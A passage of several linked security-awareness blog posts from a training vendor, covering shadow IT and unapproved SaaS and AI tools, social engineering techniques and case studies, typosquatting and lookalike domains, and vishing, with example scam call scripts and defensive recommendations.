cloud services, or applications within an organization without the knowledge or approval of the IT or security team. It includes personal cloud storage accounts used for work files, messaging apps adopted by individual teams, AI tools accessed through web browsers, and SaaS products purchased on department credit cards. According to Gartner, 41% of employees acquired, modified, or created technology outside of IT's visibility in 2023, and that figure is projected to rise to 75% by 2027. A 2024 Productiv report found that the average enterprise uses 371 SaaS applications but only has IT-approved contracts for 20-30% of them. Shadow IT is not malicious. Employees adopt unauthorized tools because they solve immediate workflow problems faster than the official procurement process can respond. But each unapproved service creates an unmonitored data flow, an unreviewed access permission, and a potential compliance violation. ## Why do employees use unauthorized tools? The gap between what IT provides and what employees need drives most shadow IT adoption. Understanding the motivation is important because punitive approaches don't work. People adopt unauthorized tools for practical reasons. **Speed.** The average enterprise software procurement cycle takes 3-6 months. A marketing coordinator who needs to resize images for a campaign tomorrow will sign up for Canva today. An engineer who wants to test a new database will spin up a free tier on AWS with a personal account before lunch. **Friction in approved tools.** When the approved project management tool is clunky and the team already knows Notion, people will use Notion. When IT mandates a file sharing system that requires VPN access and three clicks to share a document, employees will use Google Drive or Dropbox with their personal accounts. This kind of team-adopted tool sprawl is exactly what our [collaboration tool hygiene exercise](/exercises/collaboration-tool-hygiene/) addresses. **AI tool adoption.** This is the fastest-growing category of shadow IT. ChatGPT, Claude, Gemini, Midjourney, and dozens of niche AI tools entered the workforce faster than any technology category in history. OpenAI reported 100 million weekly active users by early 2024. Most of that usage in enterprise contexts started without IT involvement. Employees pasting proprietary data into AI tools is now a primary [data leakage](/blog/insider-threat-training/) vector, and the pattern has become distinct enough to warrant its own label. Our deeper treatment of [shadow AI](/blog/shadow-ai/) covers how the AI subcategory differs from traditional shadow IT and why DLP tools miss most of it. **Department-level purchasing.** SaaS products with per-seat pricing and credit card billing make it trivial for a department head to adopt a tool without going through procurement. Marketing buys a social media scheduler. Sales buys a prospecting tool. Customer success buys a survey platform. Each purchase is small enough to fly under finance radar. ## What security risks does shadow IT create? Shadow IT turns your security perimeter into Swiss cheese. Every unapproved tool is a hole your security team doesn't know about and can't monitor. ### Data exposure through OAuth permissions When an employee connects a SaaS tool to their corporate Google Workspace or Microsoft 365 account using OAuth, they often grant broad permissions: read emails, access calendar, view files, manage contacts. The employee sees a convenient single sign-on. The security team sees an unvetted third party with read access to corporate data. A 2024 Nudge Security study found that the average enterprise has over 3,000 OAuth grants to third-party applications, with 17% of those grants providing access to email content. If any one of those third-party services gets breached, the attacker inherits whatever permissions the OAuth token carries. This is the [third-party app risk](/exercises/third-party-app-oauth-risks/) that most employees don't consider when they click "Allow." ### Credential sprawl Every shadow IT account is a new set of credentials to manage. Employees reuse passwords because they have too many accounts to maintain unique ones. They use weak passwords on tools they consider "not important." They rarely enable MFA on personal SaaS accounts. This connects directly to [credential stuffing risk](/blog/credential-stuffing-awareness/). A breach at an obscure design tool an employee signed up for with their corporate email becomes a credential that attackers test against Microsoft 365, VPN endpoints, and every other corporate system. ### Compliance blind spots Shadow IT makes compliance reporting incomplete by definition. You cannot include data flows you don't know about in your GDPR records of processing, your SOC 2 system descriptions, or your HIPAA risk assessments. If an employee uses an AI transcription service to process meeting recordings that contain customer PII, that data processing activity is invisible to your Data Protection Officer. Under the [GDPR](/blog/gdpr-employee-training/), the organization is still liable for how that third party handles the data, even though nobody authorized its use. Under HIPAA, a single unauthorized cloud service processing patient information can constitute a reportable breach. The compliance exposure scales with the number of unknown services. Productiv's research suggests the average enterprise has 975 SaaS applications that IT cannot account for. ### Unmonitored data exfiltration paths Shadow IT creates outbound data channels that bypass DLP (Data Loss Prevention) tools. When an employee uploads a spreadsheet of customer records to a personal Airtable base, that transfer doesn't cross any monitoring boundary the security team controls. When a developer pushes proprietary code to a personal GitHub repository to work on it at home, the company's [insider threat](/blog/insider-threat-training/) detection systems don't see it. This isn't always intentional exfiltration. Most of the time, it's convenience. But the effect is the same: sensitive data leaves the organization's control without logging, without encryption requirements, and without retention policies. ## How do you discover shadow IT in your organization? You can't secure what you can't see. Discovery is the first step, and it needs to be ongoing rather than a one-time audit. **Network traffic analysis.** Monitor DNS queries and web traffic logs for domains associated with SaaS applications. Cloud access security brokers (CASBs) can categorize traffic and identify services being accessed from corporate networks. This catches tools used on corporate devices and networks but misses personal devices on personal networks. **OAuth grant audits.** Review the third-party applications connected to your Google Workspace or Microsoft 365 tenant. Both platforms provide admin consoles that list all OAuth grants. Sort by permission level and flag any application with mail read, file access, or admin permissions that isn't on your approved list. **Expense report analysis.** Search corporate credit card statements and expense reports for SaaS vendor charges. Department-level software purchases often appear as small recurring charges. Finance teams can flag unknown software vendors during routine reviews. **Employee surveys.** Ask employees directly what tools they use. Frame it as an effort to improve the toolkit, not as enforcement. "What tools help you do your job that IT doesn't provide?" yields more honest answers than "Are you using unauthorized software?" Many shadow IT discovery programs find more services through surveys than through technical scanning. **Browser extension audits.** Browser extensions are a commonly overlooked form of shadow IT. Extensions can read page content, capture keystrokes, and exfiltrate data. Regular audits of installed extensions across managed browsers reveal unauthorized tools operating silently. Our [browser extension safety exercise](/exercises/browser-extension-safety/) walks employees through evaluating extension permissions and spotting risky add-ons. ## How should you handle shadow IT without killing productivity? The worst response to shadow IT discovery is blanket prohibition. Block everything unapproved, and employees will find workarounds. They'll use personal devices on personal networks, making the problem invisible instead of managed. **Create a fast-track approval process.** If procurement takes six months, people will go around it. Build a lightweight review process for low-risk SaaS tools that takes days, not months. Define risk tiers: a design tool with no data access is different from an AI tool that processes customer conversations. Apply proportional scrutiny. **Publish an approved alternatives list.** For every common shadow IT category (file sharing, project management, AI assistants, design tools), provide an approved option that's genuinely competitive. If the approved tool is significantly worse than the unauthorized alternative, adoption will fail. Involve teams in tool selection rather than mandating from above. **Implement SSO and SCIM provisioning.** Require that any approved SaaS tool supports single sign-on and automated user provisioning. This reduces credential sprawl, ensures MFA coverage, and gives IT automatic deprovisioning when employees leave. The [joiner-mover-leaver](/exercises/joiner-mover-leaver-awareness/) problem gets worse with every unmanaged SaaS account. **Set clear AI usage policies.** The AI category needs its own rules because the risks are distinct. Define what types of data can and cannot be entered into AI tools. Specify which AI tools are approved. Make the policy specific: "Do not paste source code, customer data, financial projections, or internal communications into any AI tool without a data processing agreement." General prohibitions like "be careful with AI" accomplish nothing. **Train continuously, not punitively.** [Compliance training](/blog/compliance-training/) that explains *why* shadow IT creates risk is more effective than training that lists prohibited tools. Employees who understand OAuth permission risks, [data leakage](/exercises/data-leakage/) paths, and compliance implications make better decisions than employees who simply fear getting caught. Our [Shadow IT Awareness exercise](/exercises/shadow-it-awareness/) walks employees through the consequences of unauthorized tool adoption in a realistic scenario. ## What role does shadow IT play in data breaches? Shadow IT appears in breach post-mortems more often than most organizations realize, but it's rarely identified as the root cause because the unauthorized service is the entry point, not the headline. The IBM Cost of a Data Breach 2024 report found that breaches involving shadow data (data stored in unmanaged or unauthorized locations) cost an average of $5.27 million, 16% more than breaches involving only managed data. Shadow data was involved in 35% of all breaches studied. The attack path typically follows a pattern: 1. Employee creates an account on an unauthorized SaaS tool using their corporate email and a reused password. 2. The SaaS tool experiences a breach, exposing credentials. 3. Attackers test those credentials against the employee's corporate accounts. 4. The corporate account is compromised, giving the attacker access to internal systems. This chain connects shadow IT to [credential stuffing](/blog/credential-stuffing-awareness/), [business email compromise](/blog/bec-training/), and eventually [ransomware deployment](/blog/ransomware-awareness-training/). Each step is well-documented individually. Shadow IT is the catalyst that starts the sequence. The risk multiplies when employees cannot distinguish sensitive data from non-sensitive data. Without [data classification training](/blog/data-classification-training/), they upload Confidential files to unauthorized tools without recognizing the exposure. [Mobile devices](/blog/mobile-security-training/) compound the problem. Employees install work-adjacent apps on personal phones, mixing personal and corporate data in apps that IT has no visibility into. A personal phone with corporate email, unauthorized cloud storage, and no MDM enrollment is a walking shadow IT deployment. ## What questions should employees ask before adopting a new tool? Most shadow IT adoption isn't malicious or careless. It's an employee solving a real problem without realizing the downstream risks. Giving employees a short mental checklist reduces unauthorized adoption without slowing down legitimate tool evaluation. **"Does this tool need access to my work accounts?"** If the signup flow asks to connect to Google Workspace, Microsoft 365, Slack, or any other corporate service, stop. That OAuth connection is the highest-risk action in shadow IT. If you need the tool, ask IT to review the permissions first. **"What data am I putting into this?"** A tool for resizing personal photos carries different risk than one you're feeding customer names, internal documents, or source code. If the data would be a problem if published, it shouldn't go into an unvetted tool. **"Who else at my company uses this?"** If multiple people across departments are using the same unauthorized tool, that's a signal IT should evaluate it officially. Mention it to your manager or IT contact. There may already be an approved version, or IT may fast-track approval. **"What happens to my data if I stop using this?"** Most free SaaS tools retain data indefinitely unless you explicitly request deletion. An account you used for two weeks and forgot about still holds whatever you uploaded. Those files remain accessible to the vendor, to anyone who compromises the vendor, and to anyone who compromises your dormant account. **"Is there an approved alternative?"** Check your company's app catalog or ask IT before signing up. If no approved alternative exists and the tool genuinely improves your work, request one. The fastest way to eliminate shadow IT is to make the approved stack actually useful. --- ### Social Engineering Attacks Explained Source: https://ransomleak.com/blog/social-engineering-attacks/ A hacker doesn't need to crack your encryption. They just need to convince one employee to help them. Social engineering attacks exploit human psychology instead of technical vulnerabilities. While your security team patches software and monitors networks, attackers study your organization chart, LinkedIn profiles, and even your company's Glassdoor reviews. They're looking for ways to manipulate the humans behind your defenses. These attacks work because they target something no firewall can protect: the natural human tendencies to trust, help, and comply with authority. ## What makes social engineering different from other attacks? Traditional hacking targets systems. Social engineering targets people. | Technical attack | Social engineering attack | |-----------------|---------------------------| | Exploits software vulnerability | Exploits human trust | | Blocked by security tools | Bypasses security tools | | Requires technical skill | Requires psychological skill | | Can be patched | Can't be "patched" | | Detected by automated systems | Often undetected | The most sophisticated security infrastructure becomes worthless when an employee willingly provides credentials, disables controls, or transfers funds because a convincing attacker asked them to. ## What psychology makes social engineering work? Social engineers don't use mind control. They use well-documented cognitive biases that affect everyone. ### Authority People comply with perceived authority figures. An email appearing to come from the CEO requesting an urgent wire transfer works because employees are conditioned to follow executive directives without questioning. ### Urgency Time pressure short-circuits rational analysis. "Your account will be locked in 30 minutes" or "This deal closes today" creates panic that overrides caution. ### Reciprocity When someone does something for us, we feel obligated to return the favor. An attacker who "helps" with a fake IT issue may ask for credentials in return. ### Social proof We assume actions are correct if others are doing them. "Everyone in your department has already updated their credentials" makes compliance feel normal. ### Liking We're more likely to comply with requests from people we like. Attackers build rapport, find common interests, and mirror communication styles to create artificial trust. ## What are the main types of social engineering attacks? ### Phishing The most common attack vector. Fraudulent emails impersonate trusted entities (banks, vendors, colleagues) to steal credentials or deploy malware. A typical [phishing attack](/blog/phishing-detection/) follows a predictable sequence. The attacker researches the target organization. They create a convincing email mimicking a trusted sender. The email includes a malicious link or attachment. When the victim clicks, they hand over credentials or install malware. In 2020, Twitter employees received calls from attackers posing as internal IT support. The callers directed employees to a phishing site that captured their credentials, leading to the compromise of high-profile accounts including Barack Obama and Elon Musk. ### Spear phishing Targeted phishing focused on specific individuals, using personal information to increase credibility. What separates [spear phishing](/exercises/spear-phishing/) from generic [phishing campaigns](/blog/phishing-simulation-training/) is the research. These emails reference specific projects, colleagues, or recent activities. They appear to come from known contacts. They contain accurate organizational details. Everything is tailored to the victim's role and responsibilities. ### Whaling Spear phishing targeting executives ("whales") with access to significant funds or sensitive decisions. [Whaling attacks](/blog/what-is-whaling-cybersecurity/) are among the most expensive to fall for. In 2016, FACC, an Austrian aerospace company, lost 50 million euros when attackers convinced finance staff that the CEO had authorized emergency wire transfers for a confidential acquisition. Both the CEO and CFO were fired. ### Vishing (voice phishing) Phone-based attacks where callers impersonate IT support, executives, government officials, or other trusted entities. Common pretexts include "IT helpdesk calling about a security issue," "HR verifying your benefits information," or "your bank's fraud department detecting suspicious activity." [Tech support scams](/exercises/tech-support-scams/) are among the most common vishing pretexts, where attackers pose as Microsoft, Apple, or internal IT to gain remote access. AI voice cloning has made these attacks far more convincing, with attackers replicating specific voices from seconds of audio. Our [vishing awareness guide](/blog/vishing-awareness/) covers traditional tactics, and our [deepfake social engineering guide](/blog/deepfake-social-engineering/) covers AI-powered voice and video impersonation. ### Smishing (SMS phishing) Text message attacks that trade on the immediacy and perceived legitimacy of SMS. People trust text messages more than email. Mobile screens hide suspicious URL details. SMS feels more personal and urgent, and links can appear as shortened URLs that mask their true destination. We break this down further in our [smishing explainer](/blog/what-is-smishing-cybersecurity/). ### Pretexting Creating a fabricated scenario to establish trust before making the actual request. Picture this: an attacker calls reception claiming to be from the IT department. They explain they're troubleshooting an issue affecting several departments and need to verify some information. After building rapport over several calls about "resolving" the fake issue, they request credentials to "complete the fix." ### Baiting Using physical or digital "bait" to deliver malware or capture credentials. Physical baiting means leaving infected USB drives in parking lots, lobbies, or conference rooms labeled "Payroll" or "Confidential." Digital baiting offers free software, games, or media that contains malware. ### Tailgating Gaining physical access by following authorized personnel through secured doors. An attacker carrying boxes approaches a badge-protected door just as an employee exits. Social convention makes it awkward to demand credentials from someone who appears to belong, so the employee holds the door. Simple as that. ## Real-world attack case studies ### The RSA breach (2011) Attackers sent phishing emails to small groups of RSA employees with the subject "2011 Recruitment Plan" containing a malicious Excel file. One employee retrieved the email from their junk folder and opened it. The result: attackers gained access to RSA's SecurID authentication system, ultimately affecting defense contractors and government agencies using RSA tokens. The lesson: technical controls (spam filtering) worked. Human curiosity defeated them. ### The Sony Pictures hack (2014) Attackers used spear phishing emails targeting Sony executives with messages appearing to come from Apple about ID verification. The result: a massive data breach exposing unreleased films, employee data, executive emails, and confidential business information. Estimated cost exceeded $100 million. The lesson: even tech-savvy organizations are vulnerable to well-crafted social engineering. ### The Ubiquiti Networks attack (2015) Attackers impersonated executives in emails requesting wire transfers to overseas accounts for a supposed acquisition. This is a textbook [business email compromise](/blog/bec-training/) attack. The result: $46.7 million stolen. Some funds were recovered, but significant losses remained. The lesson: email-based wire transfer requests require out-of-band verification regardless of apparent sender. ## What are the warning signs of social engineering? Train employees to recognize these red flags. ### Email indicators Look for sender addresses that don't match the claimed identity, unusual urgency or time pressure, requests for sensitive information or unusual actions, grammar and formatting inconsistent with the sender's normal style, and links that don't match expected destinations (hover to check). ### Phone call indicators Watch for unsolicited contact requesting sensitive information, pressure to act immediately, resistance to callback verification, requests to bypass normal procedures, and information requests that seem excessive for the stated purpose. ### In-person indicators Be alert to unfamiliar people requesting access or information, claimed authority that can't be verified, emotional manipulation (urgency, flattery, intimidation), and requests to circumvent security procedures. ## Building organizational defenses ### Technical controls Technology can't stop social engineering, but it can reduce attack surface. On the [email security](/blog/email-security-training/) front, deploy advanced threat detection for phishing, DMARC, DKIM, and SPF for sender verification, warning banners for external emails, and link rewriting with sandboxing. For access controls, implement multi-factor authentication everywhere, the principle of least privilege, separate credentials for sensitive systems, and physical access controls with visitor management. ### Procedural controls Policies that create friction for attackers matter just as much. For verification, require out-of-band confirmation for wire transfers, callback procedures for sensitive requests, identity verification for help desk calls, and visitor check-in and escort policies. For escalation, establish clear procedures for reporting suspicious contacts, a no-retaliation policy for false positives, and make security team contact information easy to find. ### Training and awareness This is the most important defense layer. Effective training includes recognition of attack techniques, psychological awareness (understanding why we're all vulnerable), practical exercises like [simulated phishing](/blog/phishing-simulation-training/), clear reporting procedures, and regular reinforcement rather than annual checkbox training. Our [security awareness training guide](/blog/security-awareness-training-guide/) covers program design end to end. You can measure effectiveness through phishing simulation click rates, suspicious activity reporting rates, time to report potential incidents, and post-incident analysis of successful attacks. ## Creating a security-conscious culture Policies and training matter, but culture determines outcomes. ### Leadership modeling Executives must visibly follow security procedures. When the CEO ignores policies, employees conclude security isn't actually important. ### Positive reinforcement Celebrate employees who report suspicious activity, even false positives. The employee who reports 10 suspicious emails (including 9 that were legitimate) is protecting the organization. The employee who never reports anything is probably missing real threats. This is what [building a human firewall](/blog/human-firewall-training/) looks like in practice. ### Blame-free incident response Employees who fall for attacks should receive support and additional training, not punishment. Fear of blame drives concealment, which extends attacker access and increases damage. ### Continuous communication Security awareness isn't a training event. It's an ongoing conversation. Regular updates about current threats, recent incidents (anonymized), and emerging techniques keep security top-of-mind. Explore our [cybersecurity activities for employees](/blog/cyber-security-activities-for-employees/) for practical ways to keep the conversation going. ## Responding to social engineering attacks When attacks succeed (and eventually they will), speed matters. ### Immediate actions 1. Contain the damage by isolating affected systems and accounts 2. Preserve evidence. Don't delete logs, emails, or files 3. Notify the security team immediately 4. Document the timeline and all actions taken ### Investigation Determine the attack scope and affected systems. Identify how the attacker gained initial access. Assess what information was accessed or stolen. Document everything for potential legal proceedings. ### Recovery and improvement Reset affected credentials. Remediate compromised systems. Address the procedural gaps that allowed the attack. Update training based on lessons learned. Consider notification obligations, both legal and regulatory. ## Where to go from here Social engineering attacks succeed because they target human nature, not technology. The same traits that make us good colleagues (trust, helpfulness, respect for authority) become vulnerabilities when exploited by skilled attackers. Defense requires layers: technical controls to reduce attack surface, procedures to verify sensitive requests, training to build recognition skills, and culture to encourage vigilance without creating paranoia. Your employees will always be a target. With the right training and culture, they become your early warning system instead of your weakest link. [Try our free Social Engineering exercise](/exercises/social-engineering/) to see what that training looks like in practice. --- *Want to experience social engineering attack simulations firsthand? [Try our free Social Engineering exercise](/exercises/social-engineering/) to practice resisting manipulation under pressure, or test your defenses against [Phishing](/exercises/phishing/), [Vishing](/exercises/vishing/), and [Business Email Compromise](/exercises/business-email-compromise/). Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for 46 interactive exercises.* --- ### Typosquatting: How One Letter Steals Logins Source: https://ransomleak.com/blog/typosquatting-awareness/ Type "gogle.com" into your browser. You misspelled it. Twenty years ago, that typo would have landed you on a page stuffed with ads. Today, it might land you on a pixel-perfect replica of Google's login page, one that captures your username and password before redirecting you to the real thing. You would never know. This is typosquatting, and it has been around since domain names became valuable. What changed is the sophistication. Modern typosquatting campaigns do not just buy obvious misspellings. They register domains using character substitutions that are nearly invisible to the human eye, pair them with valid HTTPS certificates, and deploy them as part of targeted credential-harvesting operations against specific companies. Palo Alto Networks' Unit 42 found that roughly 13,857 squatting domains were registered per month in 2023, with typosquatting and combosquatting accounting for the majority. These are not opportunistic parked pages. Many are active phishing sites with a shelf life measured in hours, just long enough to harvest a batch of credentials before being reported and taken down. ## What is typosquatting? Typosquatting is the practice of registering domain names that are very close to legitimate ones, targeting users who make typing mistakes, misread a URL, or click a lookalike link without inspecting it closely. The attacker controls the destination, which can be anything from a credential-harvesting page to a malware distribution site to a fake corporate portal. The attack succeeds because humans are bad at reading URLs character by character. We recognize domain names the way we recognize faces: by overall shape and context, not by examining each pixel. A domain like "rnicrosoft.com" (with "rn" instead of "m") looks correct at a glance. So does "arnazon.com" or "linkedln.com" (with an "l" instead of an "I"). Attackers know this and choose substitutions specifically to exploit how our eyes process text. ## How do attackers create typosquat domains? The techniques fall into several categories, each targeting a different failure mode in human perception. ### Keyboard proximity typos The simplest approach: register domains where one character is replaced with an adjacent key on a QWERTY keyboard. "Gogle.com" (missing an 'o'), "Gmial.com" (swapped 'a' and 'i'), "Anazon.com" (missing an 'm'). These target people who type URLs from memory and make a single keystroke error. ### Character substitution Replace one character with a visually similar one. "rn" for "m" is the classic. "l" (lowercase L) for "I" (uppercase i). "1" (one) for "l" (lowercase L). "0" (zero) for "O." In many fonts, these are indistinguishable at body text sizes. An email that says "Please log in at rnicrosoft.com" looks correct in most inbox rendering engines. ### Homoglyph attacks This is character substitution taken further, using Unicode characters from non-Latin scripts that look identical to Latin letters. The Cyrillic "а" (U+0430) is visually identical to the Latin "a" (U+0061) in most fonts. An attacker can register a domain using Cyrillic characters that appears byte-for-byte different from the legitimate domain but renders identically on screen. Modern browsers defend against this with Internationalized Domain Name (IDN) display policies. Chrome and Firefox show the Punycode representation (xn--...) for domains that mix scripts. But not all applications render URLs through a browser. Email clients, messaging apps, and mobile notification banners may display the Unicode version directly. ### Combosquatting Instead of misspelling the domain, the attacker adds a plausible word. "microsoft-login.com," "google-security.com," "amazon-delivery-status.com." These are technically not misspellings, so they do not trip the same cognitive alarm. They feel like subdomains or microsite URLs that a large company might actually use. Researchers from Georgia Tech found in a 2017 study that combosquatting domains were 100 times more prevalent than traditional typosquatting and were used in significantly more active attack campaigns. The trend has only accelerated since then. ### TLD swaps Register the same domain under a different top-level domain. "company.co" instead of "company.com." "company.org" instead of "company.com." "company.cam" instead of "company.com." The proliferation of new TLDs (.app, .dev, .cloud, .team) has expanded this attack surface considerably, because many organizations do not defensively register their name across all available TLDs. ## Where do typosquat domains appear? People assume typosquatting only catches users who manually type URLs. That used to be true. Now it is just one of several attack surfaces. **Phishing emails.** An email from "support@arnazon.com" linking to a fake order confirmation page. The domain passes a quick visual check because the substitution is subtle. This overlaps directly with standard [email phishing](/blog/email-security-training/), but the domain similarity adds an extra layer of credibility. **Search engine ads.** Attackers bid on brand keywords in Google Ads and link to typosquat domains. A user searching for "Dropbox login" sees an ad at the top of the results that links to "dr0pbox.com" or "dropbox-login.com." Google has policies against this, but enforcement is reactive. The ad runs for hours before being flagged. **Link manipulation in documents.** A shared document, wiki page, or Slack message contains a hyperlink with display text that reads "company.com" but actually points to "cornpany.com." The user sees the display text, trusts it, and clicks. This is why [safe browsing habits](/blog/browser-security-training/) need to extend beyond the browser and into every tool where clickable links appear. **QR codes.** A [QR code phishing](/blog/quishing/) attack that encodes a typosquat URL. The domain looks close enough on the brief URL preview that most users tap through without noticing the difference. **Dependency confusion.** In software development, attackers publish packages to npm, PyPI, or other registries using names that are one character off from popular libraries. Developers who mistype a package name in their dependency file pull in the malicious version. This is typosquatting applied to the software supply chain, and it has caused real incidents. The 2021 ua-parser-js incident and the 2022 colors/faker.js attacks demonstrated how fragile the supply chain trust model is. ## Real-world typosquatting at scale Typosquatting is not a theoretical risk. It operates at industrial scale. In 2023, Akamai identified over 30,000 domains targeting the top 100 retail brands during the holiday shopping season alone. Many were active for fewer than 48 hours. They harvested credentials, collected payment card numbers, or distributed malware disguised as promotional apps. The IRS warned U.S. taxpayers in 2024 about typosquat domains impersonating the official IRS.gov website during tax season. The fake sites collected Social Security numbers and banking information under the pretense of "processing refunds." Financial institutions face particularly aggressive campaigns. A 2022 study by Infoblox found that the average Fortune 500 bank had over 200 active typosquat domains registered against it at any given time. Some were credential phishing. Others were fake customer support portals designed for [social engineering](/blog/social-engineering-attacks/) attacks conducted over the phone. ## How to protect against typosquatting There is no single defense that eliminates the risk. Protection requires layering technical controls with employee awareness. ### Technical controls **Defensive domain registration.** Register common misspellings, adjacent-key typos, and TLD variants of your primary domain. This is expensive at scale, but it prevents the most obvious attacks. Redirect all defensive registrations to your real site. **DNS-level filtering.** Configure corporate DNS resolvers to block known typosquat domains. Services like Cisco Umbrella, Cloudflare Gateway, and Zscaler maintain threat intelligence feeds that include recently registered lookalike domains. **Browser security policies.** Use a managed browser or browser extension that warns users when they navigate to a domain that closely resembles a known corporate resource. Some endpoint protection platforms include this functionality. **Email authentication enforcement.** DMARC, DKIM, and SPF will not prevent an attacker from sending email from a typosquat domain, but they make it harder for that email to pass authentication checks. Strict DMARC policies on your own domain also protect your brand by preventing spoofing of your exact domain. **Certificate transparency monitoring.** Monitor certificate transparency logs for TLS certificates issued to domains similar to yours. If someone registers "yourcompany-login.com" and gets a certificate for it, that is an early warning signal. ### Employee awareness Technical controls catch many typosquat domains, but they cannot catch all of them. Employees need to recognize the attack pattern themselves. **Teach URL reading as a skill.** Most employees have never been taught to actually read a URL character by character. They glance at it and make a snap judgment. Training should include exercises where employees compare legitimate and typosquat URLs side by side, because the difference is often a single character. Our [typosquatting awareness exercise](/exercises/typosquatting-awareness/) puts employees through exactly this kind of comparison in realistic scenarios. **Reinforce direct navigation.** The safest habit is typing known URLs directly or using bookmarks, never following links in emails or messages to log into sensitive services. This advice applies equally to [credential protection](/blog/credential-stuffing-awareness/) and [password security](/blog/password-security-training/). **Explain the bookmark habit.** For services employees use daily (email, cloud storage, internal tools), they should bookmark the login page and use only that bookmark. This eliminates the mistyped URL vector entirely. **Cover the mobile angle.** Mobile browsers show less of the URL, and mobile keyboards increase typo rates. Employees who access corporate services on phones are more vulnerable to both typosquatting and [smishing](/blog/what-is-smishing-cybersecurity/) attacks that link to lookalike domains. ## Typosquatting vs other domain-based attacks Typosquatting is one of several techniques that exploit domain trust. Understanding how they differ helps you build the right defenses. | Technique | Method | Example | Primary defense | |---|---|---|---| | Typosquatting | Misspelled domain | gogle.com | Defensive registration, DNS filtering | | Combosquatting | Real name + added word | google-security.com | DNS filtering, user awareness | | Homoglyph attack | Unicode lookalike chars | gооgle.com (Cyrillic о) | Browser IDN policies | | Domain spoofing | Forged From: header | Displays "google.com" | DMARC/DKIM/SPF | | Subdomain abuse | Trusted domain prefix | google.com.malicious.site | User awareness, URL reading | The common thread is that all five techniques target the same human weakness: we trust URLs based on pattern recognition rather than character-by-character verification. Training needs to address this underlying habit, not just the specific technique. ## Training employees on typosquatting Typosquatting awareness requires a different training approach than standard phishing training. The attack does not depend on urgency, fear, or social pressure. It depends on inattention. A tiny visual difference that the brain glosses over. **Use visual comparison exercises.** Show employees pairs of URLs and ask them to identify the fake. Start easy ("faceboook.com" vs "facebook.com") and progressively increase difficulty ("rn" vs "m," "l" vs "I," Cyrillic homoglyphs). This builds the habit of actually reading URLs instead of pattern-matching them. **Demonstrate real examples.** Show employees actual typosquat domains that have been registered against your organization. If you can, show them the phishing pages those domains served. Seeing that attackers specifically target your company makes the threat concrete. **Connect it to browser habits.** Typosquatting training fits naturally alongside [browser security training](/blog/browser-security-training/). Teach employees to check the full URL after a page loads, not just before clicking. Some typosquat sites redirect through multiple domains, so the URL in the email may differ from the URL that ultimately loads. **Make it part of the simulation program.** Include typosquat domains in your phishing simulation emails. An email from "hr@yourcompnay.com" (transposed letters) with a link to a lookalike portal tests whether employees catch the domain discrepancy. Our [typosquatting awareness exercise](/exercises/typosquatting-awareness/) and [safe browsing exercise](/exercises/safe-browsing-and-downloads/) cover these scenarios specifically. --- *Train your team to catch the URLs that are one letter off. [Try our free typosquatting awareness exercise](/exercises/typosquatting-awareness/) and see how many lookalike domains your employees can spot. You can also explore exercises on [browser security](/exercises/safe-browsing-and-downloads/), [HTTPS and website verification](/exercises/https-and-website-security/), and the full [security awareness training catalogue](/catalogue/security-awareness/).* --- ### Vishing Awareness Training Source: https://ransomleak.com/blog/vishing-awareness/ The phone rings. IT support says there's a security incident on your account. They need your password to reset it and protect your data. The caller sounds professional, maybe a little stressed. Your caller ID shows your company's actual number. You give them your password. I've seen this happen to smart, security-aware people. They knew better. In the moment, it didn't matter. That's what makes [vishing](/threats/vishing/) so effective. ## What is vishing? Vishing (voice phishing) is a social engineering attack conducted over the phone where an attacker impersonates a trusted entity to manipulate victims into revealing sensitive information, transferring funds, or granting system access. Unlike email phishing where recipients can pause and inspect links, vishing exploits the real-time pressure of live conversation and the inherent trust humans place in voice communication. Attackers commonly impersonate IT support, bank representatives, government agencies, or company executives, and frequently spoof caller ID to display legitimate phone numbers. According to the FBI's Internet Crime Complaint Center, vishing and related voice scams accounted for over $1.2 billion in reported losses in 2024. The attack is particularly effective against organizations because employees are conditioned to be helpful and responsive on the phone, making them vulnerable to urgent, authoritative-sounding requests that bypass standard [security awareness training](/blog/security-awareness-training-guide/) focused on email threats. ## Why do smart people fall for phone scams? Vishing works differently than [email phishing](/blog/email-security-training/). With email, you have time to think, to hover over links, to forward suspicious messages to IT. A phone call strips all of that away. You can't pause a conversation. The social pressure to respond immediately is overwhelming. Silence feels awkward. Asking to call back feels rude. Hanging up feels wrong. We're conditioned to be polite. Ending a call abruptly triggers social anxiety, even when we're suspicious. Voice creates trust. A confident, professional tone establishes credibility in ways text never can. We're wired to trust voices. Caller ID lies. That number showing your bank's real phone number? Spoofed in about 30 seconds with free software. The technology to fake caller ID is trivially available. ## What are common vishing scenarios? ### IT support impersonation > "Hi, this is Mike from IT support. We're seeing some suspicious activity on your account. I need to verify your identity and reset your credentials." Attackers use: - Internal jargon and procedures they've researched - Urgency around "security incidents" - Request for credentials to "help" you ### Bank fraud alerts > "This is Chase Bank calling about suspicious activity on your account. To verify your identity, please provide your account number and the last four digits of your Social Security number." Attackers create fear of financial loss to override caution. ### Tax and government threats > "This is the IRS. You have unpaid taxes and a warrant will be issued for your arrest unless you pay immediately." Uses fear of government authority and legal consequences. ### Tech support scams > "This is Microsoft Support. We've detected a virus on your computer. Let me walk you through the steps to remove it." Leads to remote access installation and credential theft. Our [tech support scams exercise](/exercises/tech-support-scams/) walks through this exact scenario and teaches employees to verify before granting access. ### Executive impersonation > "Hi, this is Sarah from the CEO's office. He needs a wire transfer processed urgently for an acquisition. Can you handle this quietly?" Combines authority pressure with confidentiality to prevent verification. This is a common entry point for [business email compromise](/blog/bec-training/) attacks, where the phone call builds trust before the fraudulent email arrives. ## What are the red flags of a vishing attack? Unsolicited contact. You didn't initiate the call, but they claim to have information about you. Urgency. "Immediate" action required or consequences will follow. Request for sensitive info. Passwords, account numbers, Social Security numbers, verification codes. Caller ID mismatch. Even if it shows a legitimate number, caller ID is easily spoofed. Resistance to verification. Pushback when you suggest calling back through official channels. Information they shouldn't have. Partial account details used to establish false credibility. ## What psychology makes vishing effective? Vishing exploits several psychological principles: ### Authority bias When someone claims to represent authority (IT, bank, government), we're conditioned to comply. Attackers impersonate authority figures or organizations to exploit this. ### Social reciprocity The caller appears to be helping you by alerting you to a problem. This creates pressure to reciprocate by complying with their requests. ### Fear response Threats about account compromise, legal action, or financial loss activate fear responses that bypass rational evaluation. ### Time pressure "This needs to happen now" prevents careful consideration and verification. ### Commitment escalation Small initial requests (confirming your name) lead to larger ones (providing your password). Once you've started cooperating, stopping feels inconsistent. ## Protecting against vishing ### Individual defense Verify independently. Never trust caller-provided callback numbers. Look up official contact information separately. Take your time. Legitimate organizations don't require instant decisions. "I'll call you back" is always appropriate. Never share credentials. No legitimate organization asks for passwords over the phone. 